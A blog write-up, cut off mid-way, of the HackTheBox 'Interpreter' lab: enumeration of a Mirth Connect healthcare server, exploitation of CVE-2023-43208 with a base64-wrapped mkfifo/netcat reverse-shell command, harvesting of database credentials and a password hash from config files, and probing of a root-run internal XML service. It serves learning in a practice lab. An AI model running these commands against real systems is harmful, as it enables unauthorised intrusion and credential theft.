Skip to main content
  1. Writeups/

HackTheBox Interpreter

Taha
Author
Taha
A persistent, self-taught and serious learner.
Table of Contents

Kill Chain
#

TL;DR

I solved this lab in an unintended way. I got both user and root flag with one step directly from the foothold. It seemed randomish a bit but turns out to be solved in another way.

  • Discovered CVE-2023-43208 which leads to foothold shell as mirth user shell.
  • Found database credentials in web app configuration files.
  • Discovered an internal service running on port 54321 as root processing XML data.
  • Identified SSTI vulnerability in the <firstname> XML field through Python eval() injection.
  • Leveraged SSTI to gain RCE as root.

Enumeration
#

echo "$target interpreter.htb" | sudo tee -a /etc/hosts

Nmap
#

$ nmap -sV -sC -vv -Pn -T4 -oN _nmap $target

PORT    STATE SERVICE   REASON         VERSION
22/tcp  open  ssh       syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)

80/tcp  open  http      syn-ack ttl 63

443/tcp open  ssl/https syn-ack ttl 63
Failure

A full TCP ports and UDP scans didn’t show anything useful. So these are the ports we’re targetting.

And we can view the web app landing page which shows a heathcare web app and the platform in-use: Mirth Connect.

What is Mirth Connect? - Meditecs Mirth Connect (now often branded as NextGen Connect) is the industry-leading, open-source cross-platform HL7 interface engine used to facilitate bi-directional, real-time data exchange between disparate healthcare systems. It transforms and routes data in various formats (HL7, FHIR, DICOM, CDA) to improve clinical workflows.

landing-page

And using Wappalyzer, the language in use is Java so that should be considered when sending our payloads later.

Also, before enumerating in the GUI, let’s fuzz for directories and vhosts a bit.

Fuzzing
#

$ ffuf -w `fzf-wordlists`:FUZZ -u https://10.129.4.9/FUZZ  
 :: Method           : GET
 :: URL              : https://10.129.4.9/FUZZ
 :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

images                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1196ms]
css                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 433ms]
js                      [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 285ms]
api                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 382ms]
webadmin                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 78ms]
installers              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 81ms]

Information Gathering from the Web App
#

The /api endpoint has way too much informations.

htb-interpreter

This shows a version number which is also confirmed in the XML file webstart.jnlp downloaded via the landing page.

So we now have :

  • A version number, vulnerable to CVE-2023-43208 which has a ready to use POC in here.
  • The name which hints for an internal functionality: INTERPRETER - HL7 TO XML TO NOTIFY which shows a conversion between HL7 and XML.
  • XML file that shows an inbound template and an outbound template of both XML and HL7.

Here is the content of webstart.jnlp:

<channel version="4.4.0">\n  <id>24c915f9-d3e3-462a-a126-3511d3f3cd0a</id>\n  <nextMetaDataId>2</nextMetaDataId>\n  <name>INTERPRETER - HL7 TO XML TO NOTIFY</name>\n  <description></description>\n  <revision>5</revision>\n  <sourceConnector version="4.4.0">\n    <metaDataId>0</metaDataId>\n    <name>sourceConnector</name>\n    <properties class="com.mirth.connect.connectors.tcp.TcpReceiverProperties" version="4.4.0">\n      <pluginProperties/>\n      <listenerConnectorProperties version="4.4.0">\n        <host>0.0.0.0</host>\n        <port>6661</port>\n      </listenerConnectorProperties>\n      <sourceConnectorProperties version="4.4.0">\n        <responseVariable>Auto-generate (After source transformer)</responseVariable>\n        <respondAfterProcessing>true</respondAfterProcessing>\n        <processBatch>false</processBatch>\n        <firstResponse>true</firstResponse>\n        <processingThreads>1</processingThreads>\n        <resourceIds class="linked-hash-map">\n          <entry>\n            <string>Default Resource</string>\n            <string>[Default Resource]</string>\n          </entry>\n        </resourceIds>\n        <queueBufferSize>1000</queueBufferSize>\n      </sourceConnectorProperties>\n      <transmissionModeProperties class="com.mirth.connect.plugins.mllpmode.MLLPModeProperties">\n        <pluginPointName>MLLP</pluginPointName>\n        <startOfMessageBytes>0B</startOfMessageBytes>\n        <endOfMessageBytes>1C0D</endOfMessageBytes>\n        <useMLLPv2>false</useMLLPv2>\n        <ackBytes>06</ackBytes>\n        <nackBytes>15</nackBytes>\n        <maxRetries>2</maxRetries>\n      </transmissionModeProperties>\n      <serverMode>true</serverMode>\n      <remoteAddress></remoteAddress>\n      <remotePort></remotePort>\n      <overrideLocalBinding>false</overrideLocalBinding>\n      <reconnectInterval>5000</reconnectInterval>\n      <receiveTimeout>0</receiveTimeout>\n      <bufferSize>65536</bufferSize>\n      <maxConnections>10</maxConnections>\n      <keepConnectionOpen>false</keepConnectionOpen>\n      <dataTypeBinary>false</dataTypeBinary>\n      <charsetEncoding>DEFAULT_ENCODING</charsetEncoding>\n      <respondOnNewConnection>0</respondOnNewConnection>\n      <responseAddress></responseAddress>\n      <responsePort></responsePort>\n    </properties>\n    <transformer version="4.4.0">\n      <elements>\n        <com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version="4.4.0">\n          <name>TIMESTAMP</name>\n          <sequenceNumber>0</sequenceNumber>\n          <enabled>true</enabled>\n          <messageSegment>tmp[&apos;timestamp&apos;]</messageSegment>\n          <mapping>msg[&apos;MSH&apos;][&apos;MSH.7&apos;][&apos;MSH.7.1&apos;].toString()</mapping>\n          <defaultValue></defaultValue>\n          <replacements/>\n        </com.mirth.connect.plugins.messagebuilder.MessageBuilderStep>\n        <com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version="4.4.0">\n          <name>SENDER_APP</name>\n          <sequenceNumber>1</sequenceNumber>\n          <enabled>true</enabled>\n          <messageSegment>tmp[&apos;sender_app&apos;]</messageSegment>\n          <mapping>msg[&apos;MSH&apos;][&apos;MSH.3&apos;][&apos;MSH.3.1&apos;].toString()</mapping>\n          <defaultValue></defaultValue>\n          <replacements/>\n        </com.mirth.connect.plugins.messagebuilder.MessageBuilderStep>\n        <com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version="4.4.0">\n          <name>ID</name>\n          <sequenceNumber>2</sequenceNumber>\n          <enabled>true</enabled>\n          <messageSegment>tmp[&apos;id&apos;]</messageSegment>\n          <mapping>msg[&apos;PID&apos;][&apos;PID.3&apos;][&apos;PID.3.1&apos;].toString()</mapping>\n          <defaultValue></defaultValue>\n          <replacements/>\n        </com.mirth.connect.plugins.messagebuilder.MessageBuilderStep>\n        <com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version="4.4.0">\n          <name>FIRSTNAME</name>\n          <sequenceNumber>3</sequenceNumber>\n          <enabled>true</enabled>\n          <messageSegment>tmp[&apos;firstname&apos;]</messageSegment>\n          <mapping>msg[&apos;PID&apos;][&apos;PID.5&apos;][&apos;PID.5.2&apos;].toString()</mapping>\n          <defaultValue></defaultValue>\n          <replacements/>\n        </com.mirth.connect.plugins.messagebuilder.MessageBuilderStep>\n        <com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version="4.4.0">\n          <name>LASTNAME</name>\n          <sequenceNumber>4</sequenceNumber>\n          <enabled>true</enabled>\n          <messageSegment>tmp[&apos;lastname&apos;]</messageSegment>\n          <mapping>msg[&apos;PID&apos;][&apos;PID.5&apos;][&apos;PID.5.1&apos;].toString()</mapping>\n          <defaultValue></defaultValue>\n          <replacements/>\n        </com.mirth.connect.plugins.messagebuilder.MessageBuilderStep>\n        <com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version="4.4.0">\n          <name>BIRTH_DATE</name>\n          <sequenceNumber>5</sequenceNumber>\n          <enabled>true</enabled>\n          <messageSegment>tmp[&apos;birth_date&apos;]</messageSegment>\n          <mapping>date_conversion(msg[&apos;PID&apos;][&apos;PID.7&apos;][&apos;PID.7.1&apos;].toString())</mapping>\n          <defaultValue></defaultValue>\n          <replacements/>\n        </com.mirth.connect.plugins.messagebuilder.MessageBuilderStep>\n        <com.mirth.connect.plugins.messagebuilder.MessageBuilderStep version="4.4.0">\n          <name>GENDER</name>\n          <sequenceNumber>6</sequenceNumber>\n          <enabled>true</enabled>\n          <messageSegment>tmp[&apos;gender&apos;]</messageSegment>\n          <mapping>msg[&apos;PID&apos;][&apos;PID.8&apos;][&apos;PID.8.1&apos;].toString()</mapping>\n          <defaultValue></defaultValue>\n          <replacements/>\n        </com.mirth.connect.plugins.messagebuilder.MessageBuilderStep>\n      </elements>\n      <inboundTemplate encoding="base64">TVNIfF5+XFwmfFdFQkFQUHxJTlRFUlBSRVRFUnxNSVJUSHxJTlRFUlBSRVRFUnxUSU1FU1RBTVB8fEFEVF5BMDF8fFB8Mi41ClBJRHwxfHxQQVRJRU5USUReXl5JTlRFUlBSRVRFUnx8TEFTVE5BTUVeRklSU1ROQU1FfHxEQVRFT0ZCSVJUSHxHRU5ERVI=</inboundTemplate>\n      <outboundTemplate encoding="base64">PHBhdGllbnQ+CiAgPHRpbWVzdGFtcD48L3RpbWVzdGFtcD4KICA8c2VuZGVyX2FwcD48L3NlbmRlcl9hcHA+CiAgPGlkPjwvaWQ+CiAgPGZpcnN0bmFtZT48L2ZpcnN0bmFtZT4KICA8bGFzdG5hbWU+PC9sYXN0bmFtZT4KICA8YmlydGhfZGF0ZT48L2JpcnRoX2RhdGU+CiAgPGdlbmRlcj48L2dlbmRlcj4KPC9wYXRpZW50Pg==</outboundTemplate>\n      <inboundDataType>HL7V2</inboundDataType>\n      <outboundDataType>XML</outboundDataType>\n      <inboundProperties class="com.mirth.connect.plugins.datatypes.hl7v2.HL7v2DataTypeProperties" version="4.4.0">\n        <serializationProperties class="com.mirth.connect.plugins.datatypes.hl7v2.HL7v2SerializationProperties" version="4.4.0">\n          <handleRepetitions>true</handleRepetitions>\n          <handleSubcomponents>true</handleSubcomponents>\n          <useStrictParser>false</useStrictParser>\n          <useStrictValidation>false</useStrictValidation>\n          <stripNamespaces>false</stripNamespaces>\n          <segmentDelimiter>\\r</segmentDelimiter>\n          <convertLineBreaks>true</convertLineBreaks>\n        </serializationProperties>\n        <deserializationProperties class="com.mirth.connect.plugins.datatypes.hl7v2.HL7v2DeserializationProperties" version="4.4.0">\n          <useStrictParser>false</useStrictParser>\n          <useStrictValidation>false</useStrictValidation>\n          <segmentDelimiter>\\r</segmentDelimiter>\n        </deserializationProperties>\n        <batchProperties class="com.mirth.connect.plugins.datatypes.hl7v2.HL7v2BatchProperties" version="4.4.0">\n          <splitType>MSH_Segment</splitType>\n          <batchScript></batchScript>\n        </batchProperties>\n        <responseGenerationProperties class="com.mirth.connect.plugins.datatypes.hl7v2.HL7v2ResponseGenerationProperties" version="4.4.0">\n          <segmentDelimiter>\\r</segmentDelimiter>\n          <successfulACKCode>AA</successfulACKCode>\n          <successfulACKMessage></successfulACKMessage>\n          <errorACKCode>AE</errorACKCode>\n          <errorACKMessage>An Error Occurred Processing Message.</errorACKMessage>\n          <rejectedACKCode>AR</rejectedACKCode>\n          <rejectedACKMessage>Message Rejected.</rejectedACKMessage>\n          <msh15ACKAccept>false</msh15ACKAccept>\n          <dateFormat>yyyyMMddHHmmss.SSS</dateFormat>\n        </responseGenerationProperties>\n        <responseValidationProperties class="com.mirth.connect.plugins.datatypes.hl7v2.HL7v2ResponseValidationProperties" version="4.4.0">\n          <successfulACKCode>AA,CA</successfulACKCode>\n          <errorACKCode>AE,CE</errorACKCode>\n          <rejectedACKCode>AR,CR</rejectedACKCode>\n          <validateMessageControlId>true</validateMessageControlId>\n          <originalMessageControlId>Destination_Encoded</originalMessageControlId>\n          <originalIdMapVariable></originalIdMapVariable>\n        </responseValidationProperties>\n      </inboundProperties>\n      <outboundProperties class="com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties" version="4.4.0">\n        <serializationProperties class="com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties" version="4.4.0">\n          <stripNamespaces>false</stripNamespaces>\n        </serializationProperties>\n        <batchProperties class="com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties" version="4.4.0">\n          <splitType>Element_Name</splitType>\n          <elementName></elementName>\n          <level>1</level>\n          <query></query>\n          <batchScript></batchScript>\n        </batchProperties>\n      </outboundProperties>\n    </transformer>\n    <filter version="4.4.0">\n      <elements/>\n    </filter>\n    <transportName>TCP Listener</transportName>\n    <mode>SOURCE</mode>\n    <enabled>true</enabled>\n    <waitForPrevious>true</waitForPrevious>\n  </sourceConnector>\n  <destinationConnectors>\n    <connector version="4.4.0">\n      <metaDataId>1</metaDataId>\n      <name>Destination 1</name>\n      <properties class="com.mirth.connect.connectors.http.HttpDispatcherProperties" version="4.4.0">\n        <pluginProperties/>\n        <destinationConnectorProperties version="4.4.0">\n          <queueEnabled>false</queueEnabled>\n          <sendFirst>false</sendFirst>\n          <retryIntervalMillis>10000</retryIntervalMillis>\n          <regenerateTemplate>false</regenerateTemplate>\n          <retryCount>0</retryCount>\n          <rotate>false</rotate>\n          <includeFilterTransformer>false</includeFilterTransformer>\n          <threadCount>1</threadCount>\n          <threadAssignmentVariable></threadAssignmentVariable>\n          <validateResponse>false</validateResponse>\n          <resourceIds class="linked-hash-map">\n            <entry>\n              <string>Default Resource</string>\n              <string>[Default Resource]</string>\n            </entry>\n          </resourceIds>\n          <queueBufferSize>1000</queueBufferSize>\n          <reattachAttachments>true</reattachAttachments>\n        </destinationConnectorProperties>\n        <host>http://127.0.0.1:54321/addPatient</host>\n        <useProxyServer>false</useProxyServer>\n        <proxyAddress></proxyAddress>\n        <proxyPort></proxyPort>\n        <method>post</method>\n        <headers class="linked-hash-map"/>\n        <parameters class="linked-hash-map"/>\n        <useHeadersVariable>false</useHeadersVariable>\n        <headersVariable></headersVariable>\n        <useParametersVariable>false</useParametersVariable>\n        <parametersVariable></parametersVariable>\n        <responseXmlBody>false</responseXmlBody>\n        <responseParseMultipart>true</responseParseMultipart>\n        <responseIncludeMetadata>false</responseIncludeMetadata>\n        <responseBinaryMimeTypes>application/.*(?&lt;!json|xml)$|image/.*|video/.*|audio/.*</responseBinaryMimeTypes>\n        <responseBinaryMimeTypesRegex>true</responseBinaryMimeTypesRegex>\n        <multipart>false</multipart>\n        <useAuthentication>false</useAuthentication>\n        <authenticationType>Basic</authenticationType>\n        <usePreemptiveAuthentication>false</usePreemptiveAuthentication>\n        <username></username>\n        <password></password>\n        <content>${message.encodedData}</content>\n        <contentType>text/plain</contentType>\n        <dataTypeBinary>false</dataTypeBinary>\n        <charset>UTF-8</charset>\n        <socketTimeout>30000</socketTimeout>\n      </properties>\n      <transformer version="4.4.0">\n        <elements/>\n        <inboundTemplate encoding="base64"></inboundTemplate>\n        <outboundTemplate encoding="base64"></outboundTemplate>\n        <inboundDataType>XML</inboundDataType>\n        <outboundDataType>XML</outboundDataType>\n        <inboundProperties class="com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties" version="4.4.0">\n          <serializationProperties class="com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties" version="4.4.0">\n            <stripNamespaces>false</stripNamespaces>\n          </serializationProperties>\n          <batchProperties class="com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties" version="4.4.0">\n            <splitType>Element_Name</splitType>\n            <elementName></elementName>\n            <level>1</level>\n            <query></query>\n            <batchScript></batchScript>\n          </batchProperties>\n        </inboundProperties>\n        <outboundProperties class="com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties" version="4.4.0">\n          <serializationProperties class="com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties" version="4.4.0">\n            <stripNamespaces>false</stripNamespaces>\n          </serializationProperties>\n          <batchProperties class="com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties" version="4.4.0">\n            <splitType>Element_Name</splitType>\n            <elementName></elementName>\n            <level>1</level>\n            <query></query>\n            <batchScript></batchScript>\n          </batchProperties>\n        </outboundProperties>\n      </transformer>\n      <responseTransformer version="4.4.0">\n        <elements/>\n        <inboundDataType>XML</inboundDataType>\n        <outboundDataType>XML</outboundDataType>\n        <inboundProperties class="com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties" version="4.4.0">\n          <serializationProperties class="com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties" version="4.4.0">\n            <stripNamespaces>false</stripNamespaces>\n          </serializationProperties>\n          <batchProperties class="com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties" version="4.4.0">\n            <splitType>Element_Name</splitType>\n            <elementName></elementName>\n            <level>1</level>\n            <query></query>\n            <batchScript></batchScript>\n          </batchProperties>\n        </inboundProperties>\n        <outboundProperties class="com.mirth.connect.plugins.datatypes.xml.XMLDataTypeProperties" version="4.4.0">\n          <serializationProperties class="com.mirth.connect.plugins.datatypes.xml.XMLSerializationProperties" version="4.4.0">\n            <stripNamespaces>false</stripNamespaces>\n          </serializationProperties>\n          <batchProperties class="com.mirth.connect.plugins.datatypes.xml.XMLBatchProperties" version="4.4.0">\n            <splitType>Element_Name</splitType>\n            <elementName></elementName>\n            <level>1</level>\n            <query></query>\n            <batchScript></batchScript>\n          </batchProperties>\n        </outboundProperties>\n      </responseTransformer>\n      <filter version="4.4.0">\n        <elements/>\n      </filter>\n      <transportName>HTTP Sender</transportName>\n      <mode>DESTINATION</mode>\n      <enabled>true</enabled>\n      <waitForPrevious>true</waitForPrevious>\n    </connector>\n  </destinationConnectors>\n  <preprocessingScript>// Modify the message variable below to pre process data\nreturn message;</preprocessingScript>\n  <postprocessingScript>// This script executes once after a message has been processed\n// Responses returned from here will be stored as &quot;Postprocessor&quot; in the response map\nreturn;</postprocessingScript>\n  <deployScript>// This script executes once when the channel is deployed\n// You only have access to the globalMap and globalChannelMap here to persist data\nreturn;</deployScript>\n  <undeployScript>// This script executes once when the channel is undeployed\n// You only have access to the globalMap and globalChannelMap here to persist data\nreturn;</undeployScript>\n  <properties version="4.4.0">\n    <clearGlobalChannelMap>true</clearGlobalChannelMap>\n    <messageStorageMode>DISABLED</messageStorageMode>\n    <encryptData>false</encryptData>\n    <encryptAttachments>false</encryptAttachments>\n    <encryptCustomMetaData>false</encryptCustomMetaData>\n    <removeContentOnCompletion>false</removeContentOnCompletion>\n    <removeOnlyFilteredOnCompletion>false</removeOnlyFilteredOnCompletion>\n    <removeAttachmentsOnCompletion>false</removeAttachmentsOnCompletion>\n    <initialState>STARTED</initialState>\n    <storeAttachments>false</storeAttachments>\n    <metaDataColumns>\n      <metaDataColumn>\n        <name>SOURCE</name>\n        <type>STRING</type>\n        <mappingName>mirth_source</mappingName>\n      </metaDataColumn>\n      <metaDataColumn>\n        <name>TYPE</name>\n        <type>STRING</type>\n        <mappingName>mirth_type</mappingName>\n      </metaDataColumn>\n    </metaDataColumns>\n    <attachmentProperties version="4.4.0">\n      <type>None</type>\n      <properties/>\n    </attachmentProperties>\n    <resourceIds class="linked-hash-map">\n      <entry>\n        <string>Default Resource</string>\n        <string>[Default Resource]</string>\n      </entry>\n    </resourceIds>\n  </properties>\n</channel>

Converts HL7 → XML -> Forwards data to a notification endpoint -> Likely part of a patient intake workflow.

And here is everything useful that we could extract from it:

  • A local TCP listener at port 6661 listening on all interfaces 0.0.0.0 awaiting for data in HL7 format.
  • An outbound base64 encoded XML template:
<patient>
  <timestamp></timestamp>
  <sender_app></sender_app>
  <id></id>
  <firstname></firstname>
  <lastname></lastname>
  <birth_date></birth_date>
  <gender></gender>
</patient>
  • An unauthenticated internal web service on port 54321 at http://127.0.0.1:54321/addPatient
  • Content-Type: Treated as text/plain, which often bypasses standard XML validation filters that look for application/xml.
  • Before the data is sent to the next stop, Mirth takes the messy HL7 message and “maps” specific pieces of it into variables.
    • It extracts the Timestamp from the HL7 field MSH.7.1.
    • It extracts the First Name and Last Name from PID.5.1 and PID.5.2 using the date_conversion() function.

So now, before jumping on to the CVE, we already have too much to assume:

Important

If our foothold user as access to that internal listener on 54321, we can try to inject malicious code within the XML on the addPatient endpoint to execute code in the context of the user running the service. It will convert our XML to HL7. But more into that later.

Foothold - CVE-2023-43208
#

Things I failed at first

I wasted too much time trying to get a reverse shell, which always failed because I forgot we’re targetting an app written in Java.
That’s something to look for.

So using this POC:

This repo contains payloads to reverse shell in different contexts of java. But only one of them worked (The ${IFS} method didn’t).

[failure]-Why it didn’t work in the first place Even though I found the correct payload, I was stuck for hours, just because I did a misplaced ’’ characters, of course it worked on my machine :D, but it cost me too much time because errors aren’t rendered back. Which put in a self-made rabbit hole.

$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENEING PORT> >/tmp/f' | base64
$ python3 CVE-2023-43208.py -u https://$target -c "bash -c {echo,<your_payload>}|{base64,-d}|{bash,-i}"

And we get a hitback to our listener. We can enhance our reverse shell using This method

mirth@interpreter:/usr/local/mirthconnect$ whoami
mirth
mirth@interpreter:/usr/local/mirthconnect$ pwd
/usr/local/mirthconnect
mirth@interpreter:/usr/local/mirthconnect$ uname -a
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64 GNU/Linux
mirth@interpreter:/usr/local/mirthconnect$ id
uid=103(mirth) gid=111(mirth) groups=111(mirth)

Post Exploitation - Information gathering
#

MySQL Database
#

After some enumeration, we can find a database credentials within the conf directory:

# keystore
keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

# database credentials
database.username = mirthdb
database.password = MirthPass123!

We can confirm a local database running on port 3306 which is the default for mysql which is also confirmed with which mysql:

mirth@interpreter:/usr/local/mirthconnect$ ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                          
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*                                    
tcp   LISTEN 0      80         127.0.0.1:3306       0.0.0.0:*                                    
tcp   LISTEN 0      128        127.0.0.1:54321      0.0.0.0:*                                    
tcp   LISTEN 0      256          0.0.0.0:6661       0.0.0.0:*    users:(("java",pid=3515,fd=335))
tcp   LISTEN 0      50           0.0.0.0:80         0.0.0.0:*    users:(("java",pid=3515,fd=327))
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                    
tcp   LISTEN 0      50           0.0.0.0:443        0.0.0.0:*    users:(("java",pid=3515,fd=330))
tcp   LISTEN 0      128             [::]:22            [::]:*  

Using those credentials:

$ mysql -u mirthdb -p'MirthPass123!' -e "USE mc_bdd_prod; SHOW TABLES;"

Tables_in_mc_bdd_prod
ALERT
CHANNEL
CHANNEL_GROUP
CODE_TEMPLATE
CODE_TEMPLATE_LIBRARY
CONFIGURATION
DEBUGGER_USAGE
D_CHANNELS
D_M1
D_MA1
D_MC1
D_MCM1
D_MM1
D_MS1
D_MSQ1
EVENT
PERSON
PERSON_PASSWORD
PERSON_PREFERENCE
SCHEMA_INFO
SCRIPT
$ mysql -u mirthdb -p'MirthPass123!' -e "USE mc_bdd_prod; SELECT * FROM PERSON

ID	USERNAME	FIRSTNAME	LASTNAME	ORGANIZATION	INDUSTRY	EMAIL	PHONENUMBER	DESCRIPTION	LAST_LOGIN	GRACE_PERIOD_START	STRIKE_COUNT	LAST_STRIKE_TIME	LOGGED_IN	ROLE	COUNTRY	STATETERRITORY	USERCONSENT
2	sedric				NULL				2025-09-21 17:56:02	NULL	0	NULL	\0	NULL	United States	NULL	0  

It’s a bit messy so let’s limit the output:

$ mysql -u mirthdb -p'MirthPass123!' -e "USE mc_bdd_prod; SELECT ID, USERNAME FROM PERSON"
< "USE mc_bdd_prod; SELECT ID, USERNAME FROM PERSON"
ID	USERNAME
2	sedric

Let’s get his password:

mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' -e "USE mc_bdd_prod; SELECT * FROM PERSON_PASSWORD"
<-e "USE mc_bdd_prod; SELECT * FROM PERSON_PASSWORD"
PERSON_ID	PASSWORD	PASSWORD_DATE
2	u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==	2025-09-19 09:22:28

mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' -e "USE mc_bdd_prod; SELECT * FROM PERSON_PREFERENCE"
< "USE mc_bdd_prod; SELECT * FROM PERSON_PREFERENCE"
PERSON_ID	NAME	VALUE
2	initialTagsChannels	
2	initialTagsDashboard	

[success]-Loot for now So now we have sedric’s hashed password.

[important] Note that the SCRIPT, ALERT, EVENT, SCHEMA_INFO, CONFIGURATION and PERSON_PREFERENCE tables were either empty, or filled with useless informations.

We can also retrieve the channel informations from the database and cross reference it with the webstart.jnlp we downloaded from the web app.

mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' -e "USE mc_bdd_prod; CHANNEL FROM CHANNEL"
Mistake

The hash I retrieved gave me hard time to deal with and I didn’t work with it, I thought it’s a decoy or a rabbit hole, which was weird because we have ssh running, and it would be more logical to have the user via its password after cracking the hash.
Below is my solution.

Internal Service Enumeration
#

Processes and Ports
#

We already found hints on the two internal listeners, let’s look into those:

ss -utlpne
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                                                                                            
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*    ino:19464 sk:1 cgroup:/system.slice/networking.service <->                                        
tcp   LISTEN 0      80         127.0.0.1:3306       0.0.0.0:*    uid:104 ino:20059 sk:2 cgroup:/system.slice/mariadb.service <->                                   
tcp   LISTEN 0      128        127.0.0.1:54321      0.0.0.0:*    ino:20054 sk:3 cgroup:/system.slice/notif.service <->                                             
tcp   LISTEN 0      256          0.0.0.0:6661       0.0.0.0:*    users:(("java",pid=3515,fd=335)) uid:103 ino:20187 sk:4 cgroup:/system.slice/mcservice.service <->
tcp   LISTEN 0      50           0.0.0.0:80         0.0.0.0:*    users:(("java",pid=3515,fd=327)) uid:103 ino:20185 sk:5 cgroup:/system.slice/mcservice.service <->
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*    ino:21505 sk:6 cgroup:/system.slice/ssh.service <->                                               
tcp   LISTEN 0      50           0.0.0.0:443        0.0.0.0:*    users:(("java",pid=3515,fd=330)) uid:103 ino:21853 sk:7 cgroup:/system.slice/mcservice.service <->
tcp   LISTEN 0      128             [::]:22            [::]:*    ino:21516 sk:8 cgroup:/system.slice/ssh.service v6only:1 <->   

Here is more about listener at 54321:

mirth@interpreter:/usr/local/mirthconnect$ systemctl status notif.service
systemctl status notif.service
● notif.service - Notification server
     Loaded: loaded (/etc/systemd/system/notif.service; enabled; preset: enabled)
     Active: active (running) since Sun 2026-02-22 09:51:21 EST; 3h 10min ago
   Main PID: 3517 (python3)
      Tasks: 1 (limit: 4636)
     Memory: 26.1M
        CPU: 2.057s
     CGroup: /system.slice/notif.service
             └─3517 /usr/bin/python3 /usr/local/bin/notif.py  

mirth@interpreter:/usr/local/mirthconnect$ systemctl cat notif.service
systemctl cat notif.service
\# /etc/systemd/system/notif.service
[Unit]
Description=Notification server
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
Restart=always
User=root
WorkingDirectory=/usr/local/bin

[Install]
WantedBy=multi-user.target

We can dig more into that notify.py script and confirm it’s running as root and we don’t access to it:

mirth@interpreter:/usr/local/mirthconnect$ ps aux
<REDACTED>  
root        3517  0.0  0.7  39872 30992 ?        Ss   09:51   0:02 /usr/bin/python3 /usr/local/bin/notif.py

First Interactions
#

mirth@interpreter:/usr/local/mirthconnect$ wget http://127.0.0.1:54321/addPatient

HTTP request sent, awaiting response... 405 METHOD NOT ALLOWED
2026-02-22 06:00:58 ERROR 405: METHOD NOT ALLOWED.

mirth@interpreter:/usr/local/mirthconnect$ wget http://127.0.0.1:54321/addPatient -X POST

HTTP request sent, awaiting response... 405 METHOD NOT ALLOWED
2026-02-22 06:01:16 ERROR 405: METHOD NOT ALLOWED.
Success

I also tried with python and the error has changed, it’s not 405 anymore it’s 400. This means that the problem is in the data it expects, which is normal since we already know it waits for XML as we covered above.

mirth@interpreter:/usr/local/mirthconnect$ python3 -c 'import urllib.request; req = urllib.request.Request("http://127.0.0.1:54321/addPatient", data=b"test", method="POST"); print(urllib.request.urlopen(req).read())'
<"POST"); print(urllib.request.urlopen(req).read())'
<REDACTED>
urllib.error.HTTPError: HTTP Error 400: BAD REQUEST

Here is the XML format it expects:


<patient>
  <timestamp></timestamp>
  <sender_app></sender_app>
  <id></id>
  <firstname></firstname>
  <lastname></lastname>
  <birth_date></birth_date>
  <gender></gender>
</patient>

Successful Interaction
#

Here is a fine tuned request:

import urllib.request

url = "http://127.0.0.1:54321/addPatient"

payload = """<patient>
  <timestamp>20260222</timestamp>
  <sender_app>MIRTH</sender_app>
  <id>1337</id>
  <firstname>EVIL</firstname>
  <lastname>SAMIRLOUSSIF</lastname>
  <birth_date>30/01/2000</birth_date>
  <gender>M</gender>
</patient>"""

req = urllib.request.Request(url, data=payload.encode(), method="POST")
req.add_header("Content-Type", "text/plain") 

try:
    with urllib.request.urlopen(req) as f:
        print("Response:", f.read().decode())
except Exception as e:
    print("Error:", e)

This succesfully returns a user creation:

xml

As we already mentioned above, the conversion uses the date_conversion() function. This is our next target, let’s see if it’s vulnerable.

Finding the vulnerable fields to get RCE
#

Let’s see this function’s content:

mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' -e "USE mc_bdd_prod; SELECT * FROM CODE_TEMPLATE;"
template

Which give us this js code:

function date_conversion(date) {
    \
    n
    if (date == null) {
        \
        n
        return & quot; & quot;;\
        n
    }\
